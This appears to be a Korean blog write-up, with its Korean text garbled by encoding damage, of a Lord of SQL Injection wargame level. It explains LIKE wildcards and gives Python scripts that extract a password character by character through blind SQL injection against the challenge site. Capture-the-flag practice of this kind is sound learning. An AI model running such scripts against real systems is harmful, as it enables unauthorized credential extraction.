Lord of sql injection [15]
- -
์์ฐ ๋๋์ด 15๋ฒ์งธ๊น์ง ์์ด์.
์ด๋ฒ์ฃผ ๋ชฉํ๋ 30 ๋ฒ์งธ ๋ฌธ์ ๊น์ง ํ๊ธฐ์๋๋ฐ, ๋ฐ ๋จ์๋ค์ ใ ใ
[๋ฌธ์ 15]
์ง๊ธ๊น์ง ํ๋ ์ ํ๊ณผ ์กฐ๊ธ ๋ค๋ฅธ ์ ํ์ผ๋ก ์๋ก์ด ๊ฐ๋ ์ด ์กฐ๊ธ ํ์ํ ๋ฌธ์ ์์ต๋๋ค.
์ผ๋จ ์ฑ๊ธ์ฟผํฐ๋ฅผ ๋ง๊ณ ์์ผ๋ฉฐ, like๋ฅผ ์ฌ์ฉํ์ฌ ์ด์ ์ฒ๋ผ substring์ ์ด์ฉํ์ฌ ๊ตฌํ๋ ๋ฌธ์ ์ ํ์ด ์๋์์ต๋๋ค.
๋ฌธ์ ๋ฅผ ํต๊ณผ ์ํค๋ ค๋ฉด id ==admin ์ผ๋ก ํด์ผํ๋๋ฐ, ๊ทธ๋ฌ๋ ค๋ฉด pw์นธ์ admin์ pw๋ฅผ ์ ๋ ฅํด์ฃผ์ด์ผ ํฉ๋๋ค.
pw๊ฐ admin์ด๋ฉด ๊ทธ์ ๊ด๋ จ๋ id๋ฅผ ์ฐพ์์ค๋ ๊ฒ์ด๋ฏ๋ก, ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์์ฃผ๋ฉด ๋ฉ๋๋ค.
๋จผ์ ๋ฌธ์ ๋ฅผ ํ๊ธฐ์ like์ ๋ํด ์์ธํ ํ๋ฒ ์์๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค
์๋ ์ฃผ์์์ ํ๋ฒ ์ฝ์ด๋ณด์๋ ๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค.
www.w3schools.com/sql/sql_like.asp
SQL LIKE Operator
SQL LIKE Operator The SQL LIKE Operator The LIKE operator is used in a WHERE clause to search for a specified pattern in a column. There are two wildcards often used in conjunction with the LIKE operator: % - The percent sign represents zero, one, or multi
www.w3schools.com
(์๋ ํด์ค์ ๋ณธ ํ ์ ์ฌ์ดํธ๋ฅผ ์ฐธ๊ณ ํด์ฃผ์๋ฉด ๋ ์ข์ ๊ฒ ๊ฐ์ต๋๋ค.)
์ฆ like๋ ==์ผ๋ก๋ง ์ฌ์ฉ๋๋ ๊ฒ์ด ์๋๋ผ, ์ด์ ์ง์ ๋ ํจํด์ ๊ฒ์ํ๊ธฐ ์ํด์๋ ์ฐ์ด๋ ๊ฒ์ ๋๋ค.
์ฌ๊ธฐ์ ์ค์ํ ๊ฒ์ ์์ผ๋ ์นด๋ ๋ฌธ์์ ๋ํ ๊ฐ๋ ์ธ๋ฐ
์์ผ๋ ์นด๋๋?
์์ผ๋์นด๋ ๋ฌธ์(wildcard character)๋ ์ปดํจํฐ์์ ํน์ ๋ช ๋ น์ด๋ก ๋ช ๋ น์ ๋ด๋ฆด ๋, ์ฌ๋ฌ ํ์ผ์ ํ๊บผ๋ฒ์ ์ง์ ํ ๋ชฉ์ ์ผ๋ก ์ฌ์ฉํ๋ ๊ธฐํธ๋ฅผ ๊ฐ๋ฆฌํจ๋ค. ์ด ๋ฌธ์๋ ์ด๋ ๊ณณ์์ ์ฌ์ฉํ๋๋์ ๋ฐ๋ผ ์ฝ๊ฐ์ ์ฐจ์ด๋ฅผ ๋ณด์ธ๋ค. ์ฃผ๋ก ํน์ ํ ํจํด์ด ์๋ ๋ฌธ์์ด ํน์ ํ์ผ์ ์ฐพ๊ฑฐ๋, ๊ธด ์ด๋ฆ์ ์๋ตํ ๋ ์ฐ์ธ๋ค.(์ถ์ฒ :๊ตฌ๊ธ ์ํค๋ฐฑ๊ณผ)
์์ผ๋ ์นด๋๋ ๊ฐ๋ ฅํ ๋ฌธ์ ์ธ๊ฒ ๊ฐ๋ค. ๊ธฐํธ๋ ๋ณด๋ค ๋ค์ํ๋ฉฐ, %๋ฅผ ์ด์ฉํ์ฌ ๊ธธ์ด์, ๋ฌธ์๋ฅผ ์ถ์ธกํ๊ณ
๋ง์ถฐ๋๊ฐ ์ ์๋ค.
์๋ ๋ธ๋ก๊ทธ๋ฅผ ์ฐธ๊ณ ํ์ฌ ์์ผ๋ ์นด๋์ ํ์ฉ์ ์ดํด๋ณด์.
[MYSQL] Mysql ์์ผ๋์นด๋
์ถ์ฒ : http://blog.naver.com/PostView.nhn?blogId=ssoya1874&logNo=140109794553 MySQL][์ด๊ธ]06_์์ผ๋์นด๋๋ฅผ ์ฌ์ฉํ ํํฐ๋ง --- -------------------------------------------------------------------------..
blog.daum.net
์ด์ ์ค์ ๋ก ์ค์ต์ ์งํํด๋ณด์๋ค.
?pw=________
์ด ์ฟผ๋ฆฌ๋ฅผ ํตํด์ hello guest๋ผ๋ ๋ฌธ์์ด์ ์ถ๋ ฅ์์ผฐ๋ค.
like๋ฅผ ์ด์ฉํ์ฌ pw์ ๊ธธ์ด๋ฅผ ์์๋ธ ๊ฒ์ด๋ค. '_'๋ผ๋ ๋ฌธ์๋ก ๊ฐฏ์๋ฅผ ์์ธก ํ ์ ์๋ค.
_์ ๊ฐฏ์๋ฅผ ๋๋ ค๊ฐ๋ฉฐ ํ์ธํด๋ณด์๋๋ ์ถ๋ ฅ๋๋ ๊ธธ์ด๋ 8
์ฆ pw๊ธธ์ด๋ 8๊ธ์๋ ์๋ฆฌ์ด๋ค.
์ฐธ๊ณ ๋ก ๊ทธ ์ด์๊ฐ์ ๋๊ฒจ๋ hello admin์ด ์ถ๋ ฅ๋์ง ์๋ ๊ฒ์ผ๋ก ๋ณด์,
์ด db์์์ pw๊ฐ 8๊ธ์์ธ id๋ admin, guest ๋๊ฐ์ธ ๊ฒ ๊ฐ๋ค(์์ํ ๋ฐ๋ก,,)
ํ์ง๋ง ์ถ๋ ฅ์ ํ์ค๋ฐ์ ๋ณผ ์ ์๊ธฐ ๋๋ฌธ์ admin์ด ์๋, table์ admin๋ณด๋ค ์์ ์๋
guest๊ฐ ์ถ๋ ฅ์ด ๋๊ฒ์ด๋ค.
์ฆ admin, guest ๋ผ๋ ๋ ์์ด๋๋ 8๊ธ์๋ก ๋ pw๋ฅผ ๊ฐ์ง๊ณ ์์์ ์ ์ ์๋ค.
ํ๊ธ์์ฉ ์์๋ณด๊ธฐ๊ฐ ๋๋ฌด ๊ธธ ์ ์์ผ๋, ํ์ด์ฌ ์ฝ๋๋ฅผ ์กฐ๊ธ ๋ณํํด์ ์ฌ์ฉํด๋ดค๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "%s"
dbname = []
sum = ''
password = []
word = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 8:
for src in word:
dbname = [str(sum)+query1 % (src)+"%"]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'pw': dbname }
res = requests.get('https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello guest" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Data : ", src)
sum += src
print("query: ", dbname)
break
num = num+1
print("์ ๋ต ์ฟผ๋ฆฌ๋ฌธ : ",dbname)
print("###########################์๋ฃ")
#print('pwd : ', '_'.join(password))
์ด ์ฝ๋๋ฅผ ์คํ์ํค๋ฉด ์๋์ ๊ฐ์ด data๊ฐ ๋ฝ์์ง๋ค.
ํ์ง๋ง admin์ pw๊ฐ ์๋ guest์ pw์ด๋ฏ๋ก
๋ฌธ์ ๊ฐ ํต๊ณผ๋์ง ์๋๋ค. hello admin์ ์ถ๋ ฅ์ํค๊ธฐ ์ํด ๊ฐ์ ์ฝ๋๋ฅผ admin์ผ๋ก ์ฐพ์๋ณด๋ฉด
๋ฐ์ดํฐ๋ฅผ ์ฐพ์ง ๋ชปํ๋ค.
์ด์ ๋ admin๊ณ์ ๊ณผ guest๊ณ์ ์ pw๊ฐ ์ด๋์ ๋ ์ผ๋ถ ์ผ์นํ๊ธฐ ๋๋ฌธ์ "Hello admin"์ด๋ผ๋ ์ถ๋ ฅ์ ์ฐพ์ง ๋ชปํ๋ ๊ฒ์ด๋ค. ์ฆ, ๊ฐ์ง ์์์ง๋ ๋ถ๋ถ๋ถํฐ ์ฐพ์ผ๋ฉด admin๊ณ์ ์ผ๋ก ์ธ์ ํ ๊ฒ์ด๋ค.
๊ทธ๋์ ํ๊ธ์์ฉ ์ฐพ์๋ณด์๋๋ฐ, ์ฝ 2๊ธ์๊ฐ ๊ฐ์๋ค.
์ฆ ์์ํ DB๊ตฌ์กฐ๋ ์๋์ ๊ฐ๋ค.
id | pw
----------------------------------
guest | 90d2fe10
admin | 90______
import requests
from bs4 import BeautifulSoup
query1 = "%s"
dbname = []
sum = ''
password = []
word = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 6:
for src in word:
dbname = ["90"+str(sum)+query1 % (src)+"%"]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'pw': dbname }
res = requests.get('https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Data : ", src)
sum += src
print("query: ", dbname)
break
num = num+1
print("์ ๋ต ์ฟผ๋ฆฌ๋ฌธ : ",dbname)
print("###########################์๋ฃ")
#print('pwd : ', '_'.join(password))
python์ผ๋ก ๋์๋ฆฌ๋ฅผ ๊ณ ์ ํด์ค ํ ์ฝ๋๋ฅผ ๋๋ ค๋ดค๋ค.
pw ๊ฐ์ ๋ฝ์๋๋ค.
์ฐธ๊ณ ๋ก 902 ๊น์ง๋ง pw๋ฃ๊ณ %๋ฅผ ํด์ฃผ๋ฉด, admin์ผ๋ก ์ธ์ํ์ฌ ๋ฌธ์ ๊ฐ ํ๋ฆฌ์ง๋ง
์ ๋ต์ ๋ชจ๋ ์์๋ด๋ ๋ฐฉ๋ฒ์ ์์ฒ๋ผ ํด์ ๋๋ฆฌ๊ฑฐ๋ ํ ๊ธ์์ฉ ๋ฃ์ด๋ณด๋ฉด๋๋ค.
์ด์์ !! Clear!
'Game > los' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Lord of sql injection [17] (0) | 2020.09.14 |
---|---|
Lord of sql injection [16] (0) | 2020.09.13 |
Lord of sql injection [14] (0) | 2020.09.12 |
Lord of sql injection [13] (0) | 2020.09.12 |
๋น์ ์ด ์ข์ํ ๋งํ ์ฝํ ์ธ
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค